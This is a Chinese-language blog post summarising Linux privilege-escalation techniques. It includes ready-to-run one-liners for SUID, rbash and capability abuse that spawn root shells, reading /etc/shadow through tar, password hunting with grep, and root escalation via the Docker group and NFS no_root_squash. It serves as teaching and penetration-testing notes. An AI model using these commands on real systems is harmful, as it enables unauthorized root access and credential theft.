<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Linux 提權總結

    VSole2021-11-15 06:54:08

    一. sudo 和 suid 提權

    1. 何為suid

    可見在權限位置有一個s權限。那么這個s的作用是什么呢?

    答案是當其他用戶執行該文件時,該文件會以root的身份執行。

    這里就涉及到了Effective UID和Real UID以及Saved UID

    Effective UID: 程序實際操作時生效的UID

    Real UID: 執行該程序的用戶的實際UID

    Saved UID: 在高權限用戶降權后,保留的其原本UID (不展開說)

    所以增加了一個s權限,該程序在實際運行時Effective UID就會變為0,即root的UID

    2. sudo

    就是能把一個命令視作root來執行,用sudo-l查看可以被sudo的命令

    3. SUID與sudo提權

    遍歷目錄中的suid文件

    find / -perm -u=s 2>/dev/null
    

    執行該命令,會得到所有suid文件

    用sudo -l 查看哪些命令能被sudo

    可利用于提權的命令

    nmap
    nmap --interactive
    

    使用nmap的udp或tcp syn掃描時,需要用到root權限,所以有些管理員圖方便會直接給namp上s權限,而nmap 5.20(使用nmap -v查看nmap版本)之前有一個interactive交互模式(nmap –interactive),在nmap effective uid為0時,可以通過這個模式獲得root權限交互式命令行,成功提權

    echo "os.execute('/bin/bash')" > ./shell
    nmap --script=shell
    

    全版本通殺提權,利用nmap可以執行指定文件的特點提權

    find
    find / -exec command
    

    find命令自帶-exec參數,可以執行命令,若find有suid權限,那么使用exec相當于直接提權到root.

    讀文件 find /path -exec {} \;
    
    vim

    vim有了suid就可以任意文件讀取了

    同時也可以輸入 :shell

    來獲取root shell

    bash
    bash -p  開啟一個新shell,suid的話自然是開啟root shell
    
    less,more

    和vim差不多,任意文件讀取,同時也可以輸入 !command 進行提權到root

    exim

    exim在特定版本下會有suid提權

    下載exp打就完事了

    二. rbash 繞過

    1. 何為rbash

    rbash,是出于安全性考慮的一個功能受限的bash,我在vulnhub dc-2首次接觸,他的限制性可能會有如下.

    • cd 切換目錄
    • 含有斜杠 / 的命令, 譬如 /bin/sh
    • 設置 PATH ENV 等環境變量
    • 使用 > < 進行重定向
    • binary 的運行. 通常 root 用戶會手動創建 /bin/binary_file -> /home/rbash_user/bin/binary_file 的軟鏈接, 限制性地提供部分 binary_file 給 rbash_user 使用 在 bash 下 echo $SHELL, 可以獲取當前環境是否是 rbash.

    2. bypass

    scp bypass

    我在http://www.const27.com/2020/07/02/vulnhub-dc-2/就是用scp繞的

    3. 進入命令自帶shell bypass

    man,git config help,more,less,vim,vi,ftp,gdb等命令都有自己的shell,我們只需在他們各自的shell中執行/bin/sh即可

    一般都是在shell鍵入!/bin/sh來bypass rbash

    下面這種方法也是可行的(似乎僅vim)

    :set shell=/bin/bash
    :shell
    

    執行上面兩個語句,就bypass了

    4 find bypasss

    簡單概括就是-exec執行一下/bin/bash …

    5 編程語言 bypass

    python

    如果python都可以用的話,那就更輕松了,os安排一下

    似乎pty也行?沒試

    python -c "import os;os.system('/bin/bash')"
    

    php

    php -a 進入php shell
    然后執行命令:exec("/bin/bash");
    

    perl

    perl -e 'exec "/bin/sh";'
    

    ruby

    ruby -e 'exec "/bin/bash"'
    

    6. cp bypass

    直接用cp把/usr/bin里的命令復制過來就行了

    7. 直接更改PATH/SHELL變量

    鍵入export -p 查看該用戶的變量

    如果這倆變量有w權,那么我們可以直接寫入來bypass

    8. ssh bypass

    原理是通過ssh鏈接當前IP的當前用戶并啟動/bin/bash

    ssh username@Ip -t "/bin/bash"
    

    三. 內核提權

    用 uanme -a 查明內核版本

    然后找exp打就完事了,內核提權的內容有點底層,暫時不用深入了解

    四. passwd和shadow

    1. 明文密碼

    /etc/passwd 默認所有用戶可讀,但只有root可寫。

    /etc/passwd里的用戶口令往往以x代替,其加密后的密碼會存入/etc/shadow里面,/etc/shadow默認只有root可讀。

    但是有小概率情況,明文密碼就直接出現在/etc/passwd了,如果有這個情況且root密碼暴露在了passwd里,那么就可以輕而易舉提權了

    2. passwd 可寫

    如果/etc/passwd 我們當前用戶可寫,可以直接把root的密碼改成一個明文密碼,從而達到提權目的

    3. 爆破shadow

    如果/etc/shadow 可讀,我們可以用hashcat或者john暴力破解shadow文件

    五. 計劃任務

    1. 文件重寫

    計劃任務由crontab管理,非root用戶是無法列出root用戶的計劃任務的,但我們可以列出/etc的系統任務,系統任務默認是root權限運行的

    ls -l /etc/cron*
    

    如果我們有幸有權限能更改其中一個任務指定的腳本,我們就可以往腳本里添加如反彈shell等指令,從而提權

    2. 環境變量劫持

    我們查看定時任務

    發現定義了諸多環境變量,如果其任務有未指定絕對路徑的指令,如

    17 *    * * *   root    shell.sh
    

    而且我們在其環境變量路徑中可以進行寫入操作,那么我們可以通過寫入環境變量的靠前路徑一個同名惡意文件從而導致環境變量劫持

    比如我們在/sbin 寫入一個 反彈shell功能的shell.sh,那么就可以造成提權

    3. 通配符提權

    https://www.secpulse.com/archives/72965.html 總結的太好了,我都不想記筆記了(偷懶

    六. 環境變量

    如果我們找到一個suid權限的程序,但是我們無法完成suid提權,就可以試試搭配環境變量進行提權。

    這個提權方法的思想是,找到有suid的,內部有system函數調用未指定路徑的命令的文件。同時用戶有修改自己環境變量的權限,

    我們就可以通過劫持system函數里調用的腳本文件,使其指向我們環境變量里自行創建的一個同名腳本文件,那么這個我們自行創建的同名腳本文件就能以root權限運行了,如果這個腳本文件里的命令是/bin/bash,那么就相當于我們提權了。

    可能有點小繞,看下面具體操作就行了。

    實驗室配置:

    首先在一個目錄下創建如下文件

    vim demo.c
    

    然后 gcc demo.c -o shell 將其編譯為可執行文件

    然后 chmod u+s shell 為其增加suid權限

    攻擊者視角:

    首先使用下列指令搜尋suid權限文件

    find / -perm -u=s -type f 2>/dev/null
    

    發現可疑目標,執行一下看看

    發現返回了ps命令的結果,我們可以以此猜測這個文件內部 有 system(“ps”); 這條c語言代碼。

    遂可嘗試環境變量提權

    我們依次執行以下命令

    cd /tmp
    echo "/bin/bash" > ps
    export $PATH=/tmp:$PATH        需要修改自身環境變量的權限,但基本上都有這個權限
    chmod 777 ./ps                 沒這條命令會導致提權失敗
    cd /home/const27
    ./shell                        提權成功
    

    七. 密碼查找

    這個提權技術說白了,就是去到處翻密碼

    文件內查找

    grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
    find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
    

    我們可以通過以上命令,指定關鍵字,在所有文件中搜索內容中有關鍵字的文件。

    查找十分鐘內更改過的文件

    find / -mmin -10 2>/dev/null | grep -Ev "^/proc"  (不顯示^/proc文件或文件夾)
    

    八. capabilities

    capabilities 是linux2.2后出現的產物,它的出現一定程度上彌補了suid這種粗糙的權限管理機制,但是capabilities 自身也有造成提權的安全隱患

    1. 簡介

    capabilities 把root的權限細分了,可以分別啟用或者禁用。

    在進行特權操作的時候,如果euid不是root,那么系統就會檢查是否具有執行特權操作的對應capabilities ,并以此為憑據決定特權操作是否能被執行。

    如下是一些常見的特權操作及其對應capabilities


    關于capabilities的管理工具有如下:

    • getcap
    • setcap
    • capsh
    • filecap

    getcap 用于查詢capabilities,setcap用于設置capabilities,capsh用于查當前shell進程的capabilities,filecap既能設置又能查詢。

    我們可以通過以下指令搜索設置了capabilities的可執行文件

    getcap -r / 2>/dev/null
    

    2. 實操

    通過cap_setuid

    cap_setuid 可以設置當前用戶的euid,我們可以通過此選項來進行一些提權。

    以python為例

    我們發現python3.8 有cap_setuid權限,那么我們可以用以下指令進行提權

    python -c 'import os; os.setuid(0); os.system("/bin/sh")'
    

    類似的有很多。

    perl

    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    

    gdb

    gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
    

    php

    php -r "posix_setuid(0); system('/bin/sh');"
    

    python

    python -c 'import os; os.setuid(0); os.system("/bin/sh")'
    

    rvim

    需要支持python3模塊。

    rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
    

    vim

    需要支持python3模塊。vim --version查詢,是否支持py3

    vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
    

    通過CAP_DAC_READ_SEARCH

    cap_dac_read_search可以繞過文件的讀權限檢查以及目錄的讀/執行權限的檢查。

    利用此特性我們可以讀取系統中的敏感信息。

    如果tar有此權限,我們可以通過此來查看敏感文件內容。

    tar cvf shadow.tar /etc/shadow  //創建壓縮文件
    
    tar -xvf shadow.tar  //解壓縮
    
    cd etc  //進入解壓縮的目錄
    
    chmod +r shadow  //賦予讀權限
    
    cat shadow | grep root  //查看shadow文件的內容
    

    九. Docker

    Docker用戶組提權

    如果我們拿到了一個Docker用戶組的用戶權限,那么我們可以很輕松地完成提權

    首先我們執行如下命令

    docker run -v /:/mnt --rm -it crf_web1 chroot /mnt sh
    

    然后在其中的/etc/passwd中寫入一個root權限用戶(我這里直接無密碼了)

    然后退出來,直接嘗試 su root2

    提權成功

    十. NFS

    NFS 是一個用來共享目錄的東西,但若配置權限不當則會引發安全問題

    no_root_squash

    我們cat /etc/exports 如果有no_root_squash字樣,則說明root用戶就會對共享目錄擁有至高的權限控制,就像是對本機的目錄操作一樣。

    也就是說,任何機器的root在此目錄上都有最高權限。

    我們在獲得一臺機器的root權限后,可以通過nfs在另一臺低權限機器上實現提權

    mkdir /tmp/nfs
    mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs 將本機上的/tmp/nfs 掛載到共享目錄
    cp /bin/bash /tmp/nfs/bash
    chmod u+s /tmp/nfs/bash  設置共享目錄上bash的suid
    

    回到低權限機,執行 /tmp/bash 完成提權

    shell環境變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    這里你可以理解為 a = 1,同時還可以 a =2、a = 3 ,不同的值都可以復制給同一個 變量 a 。Shell常見的變量之一系統變量,主要是用于對參數判斷和命令返回值判斷時使用,系統變量詳解如下:。令或程序執行完后的狀態,返回0表示執行成功;顯示當前主機名;
    從uart 進入uboot shell某路由器設備拆開后定位到uart接口,將uart引腳通過TTL接入到電腦,路由器上電啟動,觀察啟動日志。從上面設備的部分啟動日志可以看出,uboot shell可以被中斷,路由器上電后快速按任意鍵可進入。為了方便后續逆向工作,最好能進入路由器系統,但目前是console已關閉,且未發現telnet、ssh等服務,只能從uboot shell為切入點進一步分析。
    CVE-2021-4034 pkexec 本地提權 1.漏洞編號 CVE-2021-4034 2.影響范圍 2021以前發行版 3.漏洞詳情 此漏洞exp利用流程上來說,可以分為兩個部分 1.設置惡意環境變量 2.通過惡意環境變量執行命令 3.1 設置惡意環境變量 pkexec 源碼地址 https://gitlab.freedesktop.org/polkit/polkit/-/bl
    CVE-2021-4034分析
    2023-08-28 09:45:48
    在 polkit 的 pkexec 工具中發現的本地權限升級漏洞,pkexec 應用程序是一個 setuid 工具,旨在允許非特權用戶按照預定義策略以特權用戶身份運行命令。當前版本的 pkexec 無法正確處理調用參數個數,并試圖將環境變量作為命令執行。攻擊者可以利用這一點,精心設計環境變量,誘使 pkexec 執行任意代碼。成功執行后,該攻擊可導致本地權限升級,賦予未授權用戶在目標計算機上的管理
    近日,國家計算機病毒應急處理中心對名為“NOPEN”的木馬工具進行了攻擊場景復現和技術分析。該木馬工具針對Unix/Linux平臺,可實現對目標的遠程控制。根據“影子經紀人”泄露的NSA內部文件,該木馬工具為美國國家安全局開發的網絡武器。“NOPEN”木馬工具是一款功能強大的綜合型木馬工具,也是美國國家安全局接入技術行動處(TAO)對外攻擊竊密所使用的主戰網絡武器之一。
    https://www.freebuf.com/sectool/389399.html
    vulnhub 靶場 napping
    2022-09-29 07:34:39
    信息收集主機發現:sudo nmap -sn 192.168.56.1/24. -sC Performs a script scan using the default set of scripts. It is equivalent to --script=default. Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.-sV Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things.-p This option specifies which ports you want to scan and overrides the default. Individual port numbers are OK, as are ranges separated by a hyphen . The beginning and/or end values of a range may be omitted, causing Nmap to use 1 and 65535, respectively. So you can specify -p- to scan ports from 1 through 65535. Scanning port zero is allowed if
    本文要介紹的就是業內知名的一款能夠用于內網滲透時團隊協同作戰的工具“Cobalt Strike”。Cobalt Strike 是一款美國 Red Team 開發的滲透測試神器,常被業界人稱為 CS。
    php后門隱藏技巧大全
    2022-08-06 08:54:35
    辛辛苦苦拿下的 shell,幾天沒看,管理員給刪了。 其實隱藏的技巧也有很多
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类